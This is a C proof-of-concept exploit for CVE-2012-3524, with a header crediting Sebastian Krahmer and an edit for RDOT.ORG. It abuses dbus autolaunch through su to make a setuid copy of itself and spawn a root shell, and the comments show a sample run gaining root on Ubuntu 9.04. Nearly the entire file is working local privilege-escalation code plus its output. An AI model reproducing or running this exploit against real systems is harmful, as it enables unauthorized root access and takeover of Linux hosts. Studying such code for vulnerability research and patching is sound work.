/* CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
 *  
 * edited by Pashkela for RDOT.ORG (23.01.2013)  
 * 
 * su auto vector (need tty + current user password)
 *
 * Trivial non-dbus root exploit. (Yes, it is 2012!)
 *
 * The underlying bug (insecure getenv() by default) has been
 * reported ages ago, but nobody really cared. Unless you have an
 * exploit...
 * ==============================================================
 * Ubuntu 9.04
 *
 * an@an-desktop:~$ uname -a
 * Linux an-desktop 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
 * an@an-desktop:~$ gcc s.c -o s
 * an@an-desktop:~$ id
 * uid=1000(an) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
 * an@an-desktop:~$ ./s
 * [**] CVE-2012-3524 xSports -- this is not a dbus exploit!
 *
 *[*] Preparing ...
 *[+] Type current user passwd when asked
 *[*] Waiting 10s for dbus-launch to drop boomshell.
 * Password: .......
 * bash: [+] GOT root!: No such file or directory
 * ...
 * [!] Hurra!
 * bash-3.2# id
 * uid=0(root) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
 * bash-3.2#
 * ==============================================================
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
	int i = 0;
	struct stat st;
	pid_t pid = 0;
	char *env[] = {
	    "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
	    "DBUS_STARTER_BUS_TYPE=system",
	    "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
	    NULL,
	    NULL
	};


	char *su[] = {"/bin/su",NULL,"[+] GOT root!", NULL};

        char **a = su; 
	char *dbus[] = {"/tmp/dbus-launch", NULL};
	char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
	char me[0x1000];

	if (geteuid() == 0 && argc > 1) {
		chown("/tmp/dbus-launch", 0, 0);
		chmod("/tmp/dbus-launch", 04755);
		exit(errno);
	} else if (geteuid() == 0) {
		setuid(0);
		execve(*sh, sh, NULL);
		return errno;
	}

	printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
	memset(me, 0, sizeof(me));

	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
		/* Solaris */
		readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
	}
	symlink(me, "/tmp/dbus-launch");
             printf("[+] Type current user passwd when asked\n");
	env[3] = "DISPLAY=:7350";
	su[1] = getenv("USER");
	a = su;

	if ((pid = fork()) == 0) {
		execve(*a, a, env);
		exit(0);
	}

	printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");

	for (i = 0; i < 10; ++i) {
		sleep(1);
		printf("."); fflush(stdout);
	}
	kill(pid, SIGKILL);
	waitpid(pid, NULL, 0);

	for (;;) {
		stat(*dbus, &st);
		if ((st.st_mode & 04755) == 04755)
			break;
		sleep(1);
	}
	printf("\n[!] Hurra!\n");

	execve(*dbus, dbus, NULL);
	return errno;
}